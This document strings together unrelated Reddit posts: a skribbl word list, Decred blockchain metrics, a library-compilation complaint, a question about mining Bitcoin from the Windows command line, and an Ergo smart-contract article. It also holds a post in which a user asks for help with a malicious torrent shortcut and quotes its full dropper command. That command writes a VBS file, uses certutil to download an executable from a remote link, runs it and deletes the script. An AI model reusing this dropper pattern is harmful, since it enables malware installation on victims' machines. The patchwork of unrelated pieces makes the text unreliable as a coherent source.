Popeye, Popsicle, Porky Pig, Portugal, Poseidon, Pringles, Pumba, Reddit, Rick, Robbie Rotten, Robin Hood, Romania, Rome, Russia, Samsung, Santa, Saturn, Scooby Doo, Scotland, Segway, Sherlock Holmes, Shrek, Singapore, Skittles, Skrillex, Skype, Slinky, Solar System, Sonic, Spain, Spartacus, Spiderman, SpongeBob, Squidward, Star Wars, Statue of Liberty, Steam, Stegosaurus, Steve Jobs, Stone Age, Sudoku, Suez Canal, Superman, Susan Wojcicki, Sydney Opera House, T-rex, Tails, Tarzan, Teletubby, Terminator, Tetris, The Beatles, Thor, Titanic, Tooth Fairy, Tower Bridge, Tower of Pisa, Tweety, Twitter, UFO, USB, Uranus, Usain Bolt, Vatican, Vault boy, Velociraptor, Venus, Vin Diesel, W-LAN, Wall-e, WhatsApp, William Shakespeare, William Wallace, Winnie the Pooh, Wolverine, Wonder Woman, Xbox, Xerox, Yin and Yang, Yoda, Yoshi, Youtube, Zelda, Zeus, Zorro, Zuma, abstract, abyss, accident, accordion, ace, acid, acne, acorn, action, actor, addiction, addition, adorable, adult, advertisement, afro, afterlife, air conditioner, airbag, aircraft, airplane, airport, alarm, albatross, alcohol, alien, allergy, alley, alligator, almond, alpaca, ambulance, anaconda, anchor, angel, anglerfish, angry, animation, anime, ant, anteater, antelope, antenna, anthill, antivirus, anvil, apartment, apocalypse, applause, apple, apple pie, apple seed, apricot, aquarium, arch, archaeologist, archer, architect, aristocrat, arm, armadillo, armor, armpit, arrow, ash, assassin, assault, asteroid, astronaut, asymmetry, athlete, atom, attic, audience, autograph, avocado, axe, baboon, baby, back pain, backbone, backflip, backpack, bacon, bad, badger, bag, bagel, bagpipes, baguette, bait, bakery, baklava, balance, balcony, bald, ball, ballerina, ballet, balloon, bamboo, banana, bandage, bandana, banjo, bank, banker, bar, barbarian, barbecue, barbed wire, barber, barcode, bark, barn, barrel, bartender, base, basement, basket, basketball, bat, bathroom, bathtub, battery, battle, battleship, bayonet, bazooka, beach, beak, bean, bean bag, beanie, beanstalk, bear, bear trap, beatbox, beaver, bed, bed bug, bed sheet, bedtime, bee, beef, beer, beet, beetle, bell, bell pepper, bellow, belly, belly button, below, belt, bench, betray, bicycle, bill, billiards, bingo, binoculars, biology, birch, bird, bird bath, birthday, biscuit, bite, black, black hole, blackberry, blacksmith, blanket, bleach, blender, blimp, blind, blindfold, blizzard, blood, blowfish, blue, blueberry, blush, boar, board, boat, bobsled, bodyguard, boil, bomb, booger, book, bookmark, bookshelf, boomerang, boots, border, bottle, bottle flip, bounce, bouncer, bow, bowl, bowling, box, boy, bracelet, braces, brain, brainwash, branch, brand, bread, breakfast, breath, brick, bricklayer, bride, bridge, broadcast, broccoli, broken heart, bronze, broom, broomstick, brownie, bruise, brunette, brush, bubble, bubble gum, bucket, building, bulge, bull, bulldozer, bullet, bumper, bungee jumping, bunk bed, bunny, burglar, burp, burrito, bus, bus driver, bus stop, butcher, butler, butt cheeks, butter, butterfly, button, cab driver, cabin, cabinet, cactus, cage, cake, calendar, camel, camera, campfire, camping, can, can opener, canary, candle, canister, cannon, canyon, cap, cape, cappuccino, captain, car wash, cardboard, carnival, carnivore, carpenter, carpet, carrot, cartoon, cash, casino, cast, cat, catalog, catapult, caterpillar, catfish, cathedral, cauldron, cauliflower, cave, caveman, caviar, ceiling, ceiling fan, celebrate, celebrity, cell, cell phone, cello, cement, centaur, centipede, chain, chainsaw, chair, chalk, chameleon, champagne, champion, chandelier, charger, cheek, cheeks, cheerleader, cheese, cheeseburger, cheesecake, cheetah, chef, chemical, cherry, cherry blossom, chess, chest, chest hair, chestnut, chestplate, chew, chicken, chihuahua, child, chime, chimney, chimpanzee, chin, chinchilla, chocolate, chopsticks, church, cicada cigarette, cinema, circle, circus, clap, clarinet, classroom, claw, clay, clean, clickbait, cliff, climb, cloak, clock, cloth, clothes hanger, cloud, clover, clown, clownfish, coach, coal, coast, coast guard, coaster, coat, cobra, cockroach, cocktail, coconut, cocoon, coffee, coffee shop, coffin, coin, cola, cold, collapse, collar, color-blind, comb, comedian, comedy, comet, comfortable, comic book, commander, commercial, communism, community, compass, complete, computer, concert, condiment, cone, confused, console, continent, controller, conversation, cookie, cookie jar, copper, copy, coral, coral reef, cord, cork, corkscrew, corn, corn dog, corner, cornfield, corpse, cotton, cotton candy, country, cousin, cow, cowbell, cowboy, coyote, crab, crack, crate, crawl space, crayon, cream, credit, credit card, cricket, cringe, crocodile, croissant, crossbow, crow, crowbar, crucible, cruise, crust, crystal, cube, cuckoo, cucumber, cup, cupboard, cupcake, curry, curtain, cushion, customer, cut, cute, cyborg, cylinder, cymbal, dagger, daisy, dalmatian, dance, dandelion, dandruff, darts, dashboard, daughter, day, dead, deaf, deep, deer, defense, delivery, demon, demonstration, dent, dentist, deodorant, depressed, derp, desert, desk, desperate, dessert, detective, detonate, dew, diagonal, diagram, diamond, diaper, dice, dictionary, die, diet, dig, dinner, dinosaur, diploma, dirty, disaster, disease, dishrag, dispenser, display, diss track, distance, diva, divorce, dizzy, dock, doctor, dog, doghouse, doll, dollar, dollhouse, dolphin, dome, dominoes, donkey, door, doorknob, dots, double, dough, download, dragon, dragonfly, drain, drama, drawer, dream, dress, drink, drip, drive, driver, drool, droplet, drought, drum, drum kit, duck, duct tape, duel, dwarf, dynamite, eagle, ear, earbuds, earthquake, earwax, east, eat, echo, eclipse, eel, egg, eggplant, elbow, elder, election, electric car, electric guitar, electrician, electricity, elephant, elevator, embers, emerald, emoji, employer, emu, end, engine, engineer, equator, eraser, error, eskimo, espresso, evaporate, evening, evolution, exam, excavator, exercise, explosion, eye, eyebrow, eyelash, eye shadow, fabric, fabulous, facade, face, face paint, factory, failure, fairy, fake teeth, fall, family, farm, farmer, fashion designer, fast, fast food, fast forward, father, faucet, feather, fence, fencing, fern, festival, fidget spinner, field, figurine, filmmaker, filter, finger, fingernail, fingertip, fire alarm, fire hydrant, fire truck, fireball, firecracker, firefighter, firefly, firehouse, fireman, fireplace, fireproof, fireside, firework, fish, fish bowl, fisherman, fist fight, fitness trainer, fizz, flag, flagpole, flamethrower, flamingo, flashlight, flask, flea, flight attendant, flock, floodlight, floppy disk, florist, flower, flu, fluid, flush, flute, fly, fly swatter, flying pig, fog, foil, folder, food, forehead, forest, forest fire, fork, fort, fortress, fortune, fossil, fountain, fox, frame, freckles, freezer, fridge, fries, frog, frostbite, frosting, frown, fruit, full, full moon, funeral, funny, fur, furniture, galaxy, gang, gangster, garage, garbage, garden, gardener, garlic, gas, gas mask, gasoline, gasp, gate, gem, gender, generator, genie, gentle, gentleman, geography, germ, geyser, ghost, giant, gift, giraffe, girl, gladiator, glass, glasses, glitter, globe, gloss, glove, glow, glowstick, glue, glue stick, gnome, goal, goat, goatee, goblin, godfather, gold, gold chain, golden apple, golden egg, goldfish, golf, golf cart, good, goose, gorilla, graduation, graffiti, grandmother, grapefruit, grapes, graph, grass, grasshopper, grave, gravedigger, gravel, graveyard, gravity, greed, grenade, grid, grill, grin, groom, grumpy, guillotine, guinea pig, guitar, gumball, gummy, gummy bear, gummy worm, hacker, hair, hair roller, hairbrush, haircut, hairspray, hairy, half, halo, ham, hamburger, hammer, hammock, hamster, hand, handicap, handle, handshake, hanger, happy, harbor, hard, hard hat, harmonica, harp, harpoon, hashtag, hat, hazard, hazelnut, head, headache, headband, headboard, heading, headphones, health, heart, heat, hedgehog, heel, heist, helicopter, hell, helmet, hen, hermit, hero, hexagon, hibernate, hieroglyph, high five, high heels, high score, highway, hilarious, hill, hip hop, hippie, hippo, hitchhiker, hive, hobbit, hockey, holiday, homeless, honey, honeycomb, hoof, hook, hop, hopscotch, horizon, horn, horse, horsewhip, hose, hospital, hot, hot chocolate, hot dog, hot sauce, hotel, hourglass, house, hovercraft, hug, hummingbird, hunger, hunter, hurdle, hurt, husband, hut, hyena, hypnotize, iPad, iPhone, ice, ice cream, ice cream truck, iceberg, icicle, idea, imagination, impact, incognito, industry, infinite, injection, insect, inside, insomnia, internet, intersection, interview, invasion, invention, invisible, iron, island, ivy, jacket, jackhammer, jaguar, jail, jalapeno, janitor, jaw, jazz, jeans, jeep, jello, jelly, jellyfish, jester, jet ski, joker, journalist, journey, judge, juggle, juice, jump rope, jungle, junk food, kangaroo, karaoke, karate, katana, kazoo, kebab, keg, kendama, ketchup, kettle, key, keyboard, kidney, kindergarten, king, kiss, kitchen, kite, kitten, kiwi, knee, kneel, knife, knight, knot, knuckle, koala, kraken, label, laboratory, ladder, lady, ladybug, lake, lamb, lamp, landlord, landscape, lane, language, lantern, lap, laptop, laser, lasso, laundry, lava, lava lamp, lawn mower, lawyer, leader, leaf, leak, leash, leather, leave, leech, legs, lemon, lemonade, lemur, lens, leprechaun, lettuce, levitate, librarian, library, licorice, lid, light bulb, lighter, lighthouse, lightning, lightsaber, lily, lilypad, limbo, lime, limousine, line, link, lion, lips, lipstick, litter box, lizard, llama, loading, loaf, lobster, lock, log, logo, lollipop, loot, loser, lotion, lottery, lounge, love, low, luck, luggage, lumberjack, lung, lynx, lyrics, macaroni, machine, macho, mafia, magazine, magic, magic trick, magic wand, magician, magma, magnet, magnifier, maid, mailbox, mailman, makeup, mall, mammoth, manatee, manhole, manicure, mannequin, mansion, mantis, map, maracas, marathon, marble, margarine, marigold, market, marmalade, marmot, marshmallow, mascot, mask, massage, match, matchbox, mattress, mayonnaise, mayor, maze, meal, meat, meatball, meatloaf, mechanic, meerkat, megaphone, melon, melt, meme, mermaid, message, messy, metal, meteorite, microphone, microscope, microwave, midnight, military, milk, milkman, milkshake, mime, miner, minigolf, minivan, mint, minute, mirror, missile, model, mohawk, mold, mole, money, monk, monkey, monster, moon, moose, mop, morning, mosquito, moss, moth, mothball, mother, motherboard, motorbike, motorcycle, mountain, mouse, mousetrap, mouth, movie, mud, muffin, mug, murderer, muscle, museum, mushroom, musket, mustache, mustard, nachos, nail, nail file, nail polish, napkin, narwhal, nature, navy, neck, needle, neighbor, neighborhood, nerd, nest, network, newspaper, nickel, night, nightclub, nightmare, ninja, noob, noodle, north, nose, nose hair, nose ring, nosebleed, nostrils, notebook, notepad, nothing, notification, novel, nugget, nuke, nun, nurse, nut, nutcracker, nutmeg, nutshell, oar, observatory, ocean, octagon, octopus, office, oil, old, omelet, onion, open, opera, orange, orangutan, orbit, orca, orchestra, orchid, organ, origami, ostrich, otter, outside, oval, overweight, owl, oxygen, oyster, paddle, page, pain, paint, paintball, pajamas, palace, palette, palm, palm tree, pan, pancake, panda, panpipes, panther, pants, papaya, paper, paper bag, parachute, parade, parakeet, parents, park, parking, parrot, party, password, pasta, pastry, path, patient, patio, patriot, pause, pavement, paw, peace, peach, peacock, peanut, pear, peas, peasant, pedal, pelican, pencil, pencil case, pencil sharpener, pendulum, penguin, peninsula, penny, pensioner, pepper, pepperoni, perfume, periscope, person, pet food, pet shop, petal, pharmacist, photo frame, photograph, photographer, piano, pickaxe, pickle, picnic, pie, pig, pigeon, piggy bank, pigsty, pike, pill, pillar, pillow, pillow fight, pilot, pimple, pin, pinball, pine, pine cone, pineapple, pink, pinky, pinwheel, pipe, pirate, pirate ship, pistachio, pistol, pitchfork, pizza, plague, planet, plank, plate, platypus, player, playground, plow, plug, plumber, plunger, pocket, pogo stick, point, poison, poisonous, poke, polar bear, policeman, pollution, polo, pond, pony, ponytail, poodle, poop, poor, popcorn, pope, poppy, popular, porch, porcupine, portal, portrait, positive, postcard, poster, pot, pot of gold, potato, potion, pound, powder, prawn, pray, preach, pregnant, present, president, pretzel, price tag, priest, prince, princess, printer, prism, prison, pro, procrastination, professor, programmer, promotion, protest, provoke, prune, pub, pudding, puddle, puffin, puma, pumpkin, punishment, punk, puppet, purity, purse, puzzle, pyramid, quarter, queen, queue, quicksand, quill, quilt, quokka, raccoon, race, racecar, radar, radiation, radio, radish, raft, rail, rain, rainbow, raincoat, raindrop, rainforest, raisin, rake, ram, ramp, rapper, raspberry, rat, ravioli, razor, razorblade, read, reality, reception, receptionist, record, rectangle, recycling, red, red carpet, reeds, referee, reflection, reindeer, relationship, religion, remote, repeat, reptile, rest, restaurant, retail, revolver, rewind, rhinoceros, rib, ribbon, rice, ring, ringtone, risk, river, roadblock, robber, robin, robot, rock, rocket, rockstar, roll, roof, room, rooster, root, rose, royal, rubber, ruby, rug, ruler, run, rune, sad, saddle, safari, safe, sailboat, salad, sale, saliva, salmon, salt, saltwater, sand, sand castle, sandbox, sandstorm, sandwich, satellite, sauce, sauna, sausage, saxophone, scar, scarecrow, scarf, scary, scent, school, science, scientist, scissors, scoop, score, scream, screen, screw, scribble, scuba, sculpture, scythe, sea, sea lion, seafood, seagull, seahorse, seal, search, seashell, seasick, season, seat belt, seaweed, second, security, seed, seesaw, semicircle, sensei, server, sew, sewing machine, shadow, shake, shallow, shampoo, shape, shark, shaving cream, sheep, shelf, shell, shipwreck, shirt, shock, shoe, shoebox, shoelace, shop, shopping, shopping cart, short, shotgun, shoulder, shout, shovel, shower, shrew, shrub, shy, sick, signature, silence, silo, silver, silverware, sing, sink, sit, six pack, skateboard, skateboarder, skates, skeleton, ski, ski jump, skin, skinny, skribbl.io, skull, skunk, sky, skydiving, skyline, skyscraper, slam, sledge, sledgehammer, sleep, sleeve, slide, slime, slingshot, slippery, slope, sloth, slow, slump, smell, smile, smoke, snail, snake, sneeze, sniper, snow, snowball, snowball fight, snowboard, snowflake, snowman, soap, soccer, social media, socket, socks, soda, soil, soldier, sombrero, son, sound, soup, south, space, space suit, spaceship, spade, spaghetti, spark, sparkles, spatula, speaker, spear, spelunker, sphinx, spider, spin, spinach, spine, spiral, spit, spoiler, sponge, spool, spoon, spore, sports, spray paint, spring, sprinkler, spy, square, squid, squirrel, stab, stadium, stage, stamp, stand, stapler, star, starfish, starfruit, statue, steam, step, stereo, sting, stingray, stomach, stone, stoned, stop sign, stork, storm, stove, straw, strawberry, streamer, street, stress, strong, student, studio, study, stylus, submarine, subway, sugar, suitcase, summer, sun, sunburn, sunflower, sunglasses, sunrise, sunshade, supermarket, superpower, surface, surfboard, surgeon, survivor, sushi, swag, swamp, swan, swarm, sweat, sweater, swimming pool, swimsuit, swing, switch, sword, swordfish, symphony, table, table tennis, tablecloth, tablet, tabletop, taco, tadpole, tail, tailor, take off, talent show, tampon, tangerine, tank, tape, tarantula, target, taser, tattoo, taxi, taxi driver, tea, teacher, teapot, tear, teaspoon, teddy bear, telephone, telescope, television, temperature, tennis, tennis racket, tent, tentacle, text, thermometer, thief, thin, think, thirst, throat, throne, thug, thumb, thunder, thunderstorm, ticket, tickle, tie, tiger, time machine, timpani, tiny, tip, tiramisu, tire, tired, tissue, tissue box, toad, toast, toaster, toe, toenail, toilet, tomato, tomb, tombstone, tongue, toolbox, tooth, toothbrush, toothpaste, toothpick, top hat, torch, tornado, torpedo, tortoise, totem, toucan, touch, tourist, tow truck, towel, tower, toy, tractor, traffic, traffic light, trailer, train, translate, trap, trapdoor, trash can, traveler, treadmill, treasure, tree, treehouse, trend, triangle, trick shot, tricycle, trigger, triplets, tripod, trombone, trophy, tropical, truck, truck driver, trumpet, tuba, tug, tumor, tuna, tunnel, turd, turkey, turnip, turtle, tuxedo, twig, type, udder, ukulele, umbrella, uncle, underground, underweight, undo, unibrow, unicorn, unicycle, uniform, universe, upgrade, vacation, vaccine, vacuum, valley, vampire, vanilla, vanish, vault, vegetable, vegetarian, vein, vent, vertical, veterinarian, victim, victory, video, video game, village, villain, vine, vinegar, viola, violence, violin, virtual reality, virus, vise, vision, vitamin, vlogger, vodka, volcano, volleyball, volume, vomit, voodoo, vortex, vote, vulture, vuvuzela, waffle, waist, waiter, wake up, walk, wall, wallpaper, walnut, walrus, warehouse, warm, wart, wasp, watch, water, water cycle, water gun, waterfall, wave, wax, weak, wealth, weapon, weasel, weather, web, website, wedding, welder, well, werewolf, west, western, whale, wheel, wheelbarrow, whisk, whisper, whistle, white, wife, wig, wiggle, willow, wind, windmill, window, windshield, wine, wine glass, wing, wingnut, winner, winter, wire, wireless, witch, witness, wizard, wolf, wonderland, woodpecker, wool, work, workplace, world, worm, wound, wrapping, wreath, wrench, wrestler, wrestling, wrinkle, wrist, writer, x-ray, xylophone, yacht, yardstick, yawn, yearbook, yellow, yeti, yo-yo, yogurt, yolk, young, youtuber, zebra, zeppelin, zigzag, zipline, zipper, zombie, zoo, zoom,
submitted by StaroSVK to skribbl [link] [comments]

Got owned by a malicious torrent, and want to understand how it works

hi folks,
recently I got really sloppy and ended up downloading a malware... it was supposed to be a Bojack Horseman Hentai (just kidding haha) , but happened to be a malware... the file itself was a shortcut with the following commands... after all, I ran in a VM, and it seems to be a bitcoin miner or something like that... but I want to understand each part of this shortcut, because it makes a lot and is actually small and apparently doesn't need any other file to trigger, but I have no knowledge on VB or windows scripting.. if you can help please...

shortcut:
%ComSpec% /c
echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache
-f https://SOME_MALICIUS_LINK_HERE=berivel_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe""
&&""%USERNAME%.exe""",0 >"%USERNAME%.vbs"&"%USERNAME%.vbs"
----------------------------------------------------------------------------------
I change the link there, but it actually had this line breaks in the text...Here is what I manage to understand the step by step: (please correct me if I'm wrong)
- %ComSpec% /c shortcut to CMD and /c to run what comes next
- echo ???? I don't get why echoing here...
- CreateObject("Wscript.Shell") probably creating a script, is it VB script?
- .Run probably running it..
-"""%ComSpec%"" /c run again the cmd, I don't get why, also don't get this many quotations marks
- del ""%USERNAME%.vbs"" deleting a vbs file named with the username, which didn't even exist before? where did it create it in the first place? once again, why double double quotes?
- &certutil -urlcache - this mess something with the certificates on the OS, right? what exactly does?
- -f https://SOME_MALICIUS_LINK_HERE=berivel_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe"" this -f is a parameter for the previous command, what is it? and next is where I think the magic happens, I change the link because I don't know if it's safe.. and it passes the processor and a exe which was probably recently created as args... when did it create this process?
- &&""%USERNAME%.exe""",0 now I think it runs this recently created exe, again with the ""quotes"", and what about this ,0 ??
- >"%USERNAME%.vbs"&"%USERNAME%.vbs" I think this > is saving it to a file, but I got no clue about this trick of using & and itself again... what is happening there?
that is it! is that everything it needed to work, or did I probably miss some file? can someone help me to understand it better? a step by step would be very clarifying
submitted by danieldiast to MalwareResearch [link] [comments]

Our Network Issue #21

Our Network Issue #21

Insight 1 - Market-Realised Gradient

The Decred blockchain has a consistent baseload of demand for block-space, a result of the PoS ticket system and, more recently, on-chain CoinJoin privacy transactions. As such, the Realised Price metric differs in interpretation to Bitcoin. A strong conviction Decred holder actually has a regular and frequent on-chain signature moving DCR as opposed to the equivalent of long periods of dormancy for Bitcoin.
The Realised Price tends to follow the spot price more closely, however lags behind the day-to-day fluctuations in off-chain price sentiment. The chart below presents an experimental metric that takes the 28-day gradient of the Market Cap and Realised Cap, and produces an oscillator from their difference (purple). This tool distills times where off-chain price momentum bias flips before the on-chain response as DCR is bound in tickets and takes time to transact. Where the oscillator crosses the zero level, it often precedes a shift in price momentum in the direction of the flip.\
https://preview.redd.it/6bu8nqznt3y41.png?width=1296&format=png&auto=webp&s=bd1226fab2e792ab72f95cc6ab8047c4c60f9b56

Insight 2 - NVT and RVT Ratio

As noted, Decred has a consistent transaction demand which also shows up as reliable NVT and RVT signals. These metrics take the ratio between network valuation (market cap or realised cap) and the adjusted daily transaction value flowing through the chain, all denominated in USD. The chart below presents the NVT and RVT both in 28-day and 90-day moving average format with sound agreement in trend and magnitude between all.
During periods of bullish sentiment, we can observe low NVT|RVT ratios indicating that the chain is settling a substantial value relative to its network valuation, and vice-versa indicates bearish sentiment. Of particular interest is the period of strong demand for on-chain settlement since Aug 2019 at which point the CoinJoin privacy mix server came live. This provides valuable feedback for the community and developers regarding actual demand for the mixing service, and also gives miners a basis for future fee market expectations.
https://preview.redd.it/w954rgnqt3y41.png?width=1275&format=png&auto=webp&s=f86b365055caa125beaa5dfec7067a2ee5bb0e09

Insight 3 - Cumulative Transaction Volumes

Digging into transaction demand further, the area chart below shows the cumulative DCR settled on-chain through protocol history, divided into regular transactions (orange), ticket purchases (green) and CoinJoin mixes (red). The line charts to the right axis presents the daily transaction volume in DCR for ticket purchases and CoinJoins.
It can be seen that the gradient of the area plot has steepened since the privacy mix service went live, confirming increased demand for block-space. There has been a steady uptick in DCR flowing through the anonymity set with around 110k DCR mined in CoinJoin transactions per day. This represents around 0.96% of the total circulating DCR supply in CoinJoins, and is substantial when compared to the 192k DCR that are mined into tickets daily (1.67% of circ. supply).
https://preview.redd.it/y57bo6xrt3y41.png?width=1329&format=png&auto=webp&s=2bb4815052cd074ef06b33cc88c6d3f068c383b0

Insight 4 - Decred Treasury Flows

The Decred Treasury underpins the self-sovereign development of the protocol, and its accumulated value is subject to the market's pricing of DCR. To date, the treasury has spent a total of $7.625M bootstraping the network from genesis to now when pricing each outgoing transaction on the day of the spend. This represents around one third of the incoming DCR so far and 16% of the total DCR inflows that will occur via the block subsidy ending in year 2140.
Based on a current DCR coin price of $14/DCR, the Treasury is capitalized with enough USD value to build another Decred (assuming $7.625M build cost) and can repeat that metric for each $12 uplift in DCR price given the current Treasury balance of 636.3k DCR.
https://preview.redd.it/v914ebdst3y41.png?width=1339&format=png&auto=webp&s=6b6ee00a258f2a62be102b60ff3873c0417b99d1

Insight 5 - Treasury Vote Power

Finally, an interesting metric to gauge stakeholder governance power is to look at how much Treasury value is governed by each ticket in the PoS pool. The chart below presents the Treasury balance divided by the count of tickets in the pool (red), showing that each ticket commands decision making power of around 15.5 DCR. If we divided this by the purchase price of a ticket denominated in DCR (blue), governance power typically represents around 11% of the ticket value. Given tickets vote on average every 28 days, this means governance power on an annualised basis is equivalent to 143% of a typical ticket in value.
https://preview.redd.it/lq1s5azst3y41.png?width=1334&format=png&auto=webp&s=9ffb7fd567b77eabe44d5ca3e26f0e271f87baa6
submitted by __checkmatey__ to decred [link] [comments]

How can I mine with just windows cmd

Hey guys I was wondering how I could mine bitcoin using only command line in windows? Like from downloading the miner to using it. I can like make a wallet without command line but everything to do with the machine mining I would want to be in cmd. Thanks
submitted by Hyper_Unstable to BitcoinMining [link] [comments]

Is installing and compiling libraries as extremely frustrating and impossible for others as it is for me?

I don't know if it's my unconventional programming setup (VirtualBox Ubuntu 18), but I have never been able to simply follow the steps to compile a project or application without major problems happening.
Here are all some examples from me trying to build openpose tonight. It's what prompted me to make this post:
  1. Cmake must be updated because, for some reason, the default apt-get cmake is still the version from 2017!
  2. I had to specifically install python3.7-dev instead of python 3.6-dev even though everyone builds openpose with python3.5-dev (which I couldn't install).
  3. I had to mix and match commands from three different tutorials because following just one of any of them resulted in errors.
  4. Openpose would not compile because there was a typo in one of the third-party libraries that I found out only after diving deep into github. I had to vim and manually edit the source code to fix this one.
This sounds a bit whiny, and it may just be only to whine. But is this really how major packages are dealt with?
This is just one example, a month ago I spent a whole day just to compile a library by Google called mediapipe. In between these examples have been dozens of other libraries and packages where following the instructions was not sufficient and I needed to dive deep into terminology way above my head to try and debug some stupid problems and it seems to not be getting easier with time.
It just seems like such a major headache and the solutions are so arcane that I can't fathom how anyone even came up with them? It just looks like: Oh, simply apt-get llldldlepellelpv=3.5 the lllldldldelep3.5.1 has the bug on line 3,884 and then copy it into this other directory and make sure it's not done past 2PM otherwise you also have to meet this dependency by sacrificing your 3rd most valued possession by chucking it out of the 4 story apartment (incompatible with non-4-story apartments). This result will then be the 5th post on stack overflow and the only one that works. The others just reiterate the exact things you've already tried in judgemental tones or just go off the deep end completely with some insane-tier fixes, including running overcomplicated batch scripts they made which who knows what they do other than probably remotely install a bitcoin miner.
Plus not to mention that I'm trying to code with some of my classmates and the outcome of each of our slightly different setups results in every possible combination of bugs. No single set of instructions will make a major library compile on all of our ubuntu setups.
The setup of libraries (not even talking about incorporating them into my own project so that mine will compile alongside them) is just an extremely frustrating process. What are the secrets to doing it right and being able to know which magic commands fix the bugs?
submitted by Ari2010 to learnprogramming [link] [comments]

FlowCards: A Declarative Framework for Development of Ergo dApps

FlowCards: A Declarative Framework for Development of Ergo dApps
Introduction
ErgoScript is the smart contract language used by the Ergo blockchain. While it has concise syntax adopted from Scala/Kotlin, it still may seem confusing at first because conceptually ErgoScript is quite different compared to conventional languages which we all know and love. This is because Ergo is a UTXO based blockchain, whereas smart contracts are traditionally associated with account based systems like Ethereum. However, Ergo's transaction model has many advantages over the account based model and with the right approach it can even be significantly easier to develop Ergo contracts than to write and debug Solidity code.
Below we will cover the key aspects of the Ergo contract model which makes it different:
Paradigm
The account model of Ethereum is imperative. This means that the typical task of sending coins from Alice to Bob requires changing the balances in storage as a series of operations. Ergo's UTXO based programming model on the other hand is declarative. ErgoScript contracts specify conditions for a transaction to be accepted by the blockchain (not changes to be made in the storage state as result of the contract execution).
Scalability
In the account model of Ethereum both storage changes and validity checks are performed on-chain during code execution. In contrast, Ergo transactions are created off-chain and only validation checks are performed on-chain thus reducing the amount of operations performed by every node on the network. In addition, due to immutability of the transaction graph, various optimization strategies are possible to improve throughput of transactions per second in the network. Light verifying nodes are also possible thus further facilitating scalability and accessibility of the network.
Shared state
The account-based model is reliant on shared mutable state which is known to lead to complex semantics (and subtle million dollar bugs) in the context of concurrent/ distributed computation. Ergo's model is based on an immutable graph of transactions. This approach, inherited from Bitcoin, plays well with the concurrent and distributed nature of blockchains and facilitates light trustless clients.
Expressive Power
Ethereum advocated execution of a turing-complete language on the blockchain. It theoretically promised unlimited potential, however in practice severe limitations came to light from excessive blockchain bloat, subtle multi-million dollar bugs, gas costs which limit contract complexity, and other such problems. Ergo on the flip side extends UTXO to enable turing-completeness while limiting the complexity of the ErgoScript language itself. The same expressive power is achieved in a different and more semantically sound way.
With the all of the above points, it should be clear that there are a lot of benefits to the model Ergo is using. In the rest of this article I will introduce you to the concept of FlowCards - a dApp developer component which allows for designing complex Ergo contracts in a declarative and visual way.
From Imperative to Declarative
In the imperative programming model of Ethereum a transaction is a sequence of operations executed by the Ethereum VM. The following Solidity function implements a transfer of tokens from sender to receiver . The transaction starts when sender calls this function on an instance of a contract and ends when the function returns.
// Sends an amount of existing coins from any caller to an address function send(address receiver, uint amount) public { require(amount <= balances[msg.sender], "Insufficient balance."); balances[msg.sender] -= amount; balances[receiver] += amount; emit Sent(msg.sender, receiver, amount); } 
The function first checks the pre-conditions, then updates the storage (i.e. balances) and finally publishes the post-condition as the Sent event. The gas which is consumed by the transaction is sent to the miner as a reward for executing this transaction.
Unlike Ethereum, a transaction in Ergo is a data structure holding a list of input coins which it spends and a list of output coins which it creates preserving the total balances of ERGs and tokens (in which Ergo is similar to Bitcoin).
Turning back to the example above, since Ergo natively supports tokens, therefore for this specific example of sending tokens we don't need to write any code in ErgoScript. Instead we need to create the ‘send’ transaction shown in the following figure, which describes the same token transfer but declaratively.
https://preview.redd.it/id5kjdgn9tv41.png?width=1348&format=png&auto=webp&s=31b937d7ad0af4afe94f4d023e8c90c97c8aed2e
The picture visually describes the following steps, which the network user needs to perform:
  1. Select unspent sender's boxes, containing in total tB >= amount of tokens and B >= txFee + minErg ERGs.
  2. Create an output target box which is protected by the receiver public key with minErg ERGs and amount of T tokens.
  3. Create one fee output protected by the minerFee contract with txFee ERGs.
  4. Create one change output protected by the sender public key, containing B - minErg - txFee ERGs and tB - amount of T tokens.
  5. Create a new transaction, sign it using the sender's secret key and send to the Ergo network.
What is important to understand here is that all of these steps are preformed off-chain (for example using Appkit Transaction API) by the user's application. Ergo network nodes don't need to repeat this transaction creation process, they only need to validate the already formed transaction. ErgoScript contracts are stored in the inputs of the transaction and check spending conditions. The node executes the contracts on-chain when the transaction is validated. The transaction is valid if all of the conditions are satisfied.
Thus, in Ethereum when we “send amount from sender to recipient” we are literally editing balances and updating the storage with a concrete set of commands. This happens on-chain and thus a new transaction is also created on-chain as the result of this process.
In Ergo (as in Bitcoin) transactions are created off-chain and the network nodes only verify them. The effects of the transaction on the blockchain state is that input coins (or Boxes in Ergo's parlance) are removed and output boxes are added to the UTXO set.
In the example above we don't use an ErgoScript contract but instead assume a signature check is used as the spending pre-condition. However in more complex application scenarios we of course need to use ErgoScript which is what we are going to discuss next.
From Changing State to Checking Context
In the send function example we first checked the pre-condition (require(amount <= balances[msg.sender],...) ) and then changed the state (i.e. update balances balances[msg.sender] -= amount ). This is typical in Ethereum transactions. Before we change anything we need to check if it is valid to do so.
In Ergo, as we discussed previously, the state (i.e. UTXO set of boxes) is changed implicitly when a valid transaction is included in a block. Thus we only need to check the pre-conditions before the transaction can be added to the block. This is what ErgoScript contracts do.
It is not possible to “change the state” in ErgoScript because it is a language to check pre-conditions for spending coins. ErgoScript is a purely functional language without side effects that operates on immutable data values. This means all the inputs, outputs and other transaction parameters available in a script are immutable. This, among other things, makes ErgoScript a very simple language that is easy to learn and safe to use. Similar to Bitcoin, each input box contains a script, which should return the true value in order to 1) allow spending of the box (i.e. removing from the UTXO set) and 2) adding the transaction to the block.
If we are being pedantic, it is therefore incorrect (strictly speaking) to think of ErgoScript as the language of Ergo contracts, because it is the language of propositions (logical predicates, formulas, etc.) which protect boxes from “illegal” spending. Unlike Bitcoin, in Ergo the whole transaction and a part of the current blockchain context is available to every script. Therefore each script may check which outputs are created by the transaction, their ERG and token amounts (we will use this capability in our example DEX contracts), current block number etc.
In ErgoScript you define the conditions of whether changes (i.e. coin spending) are allowed to happen in a given context. This is in contrast to programming the changes imperatively in the code of a contract.
While Ergo's transaction model unlocks a whole range of applications like (DEX, DeFi Apps, LETS, etc), designing contracts as pre-conditions for coin spending (or guarding scripts) directly is not intuitive. In the next sections we will consider a useful graphical notation to design contracts declaratively using FlowCard Diagrams, which is a visual representation of executable components (FlowCards).
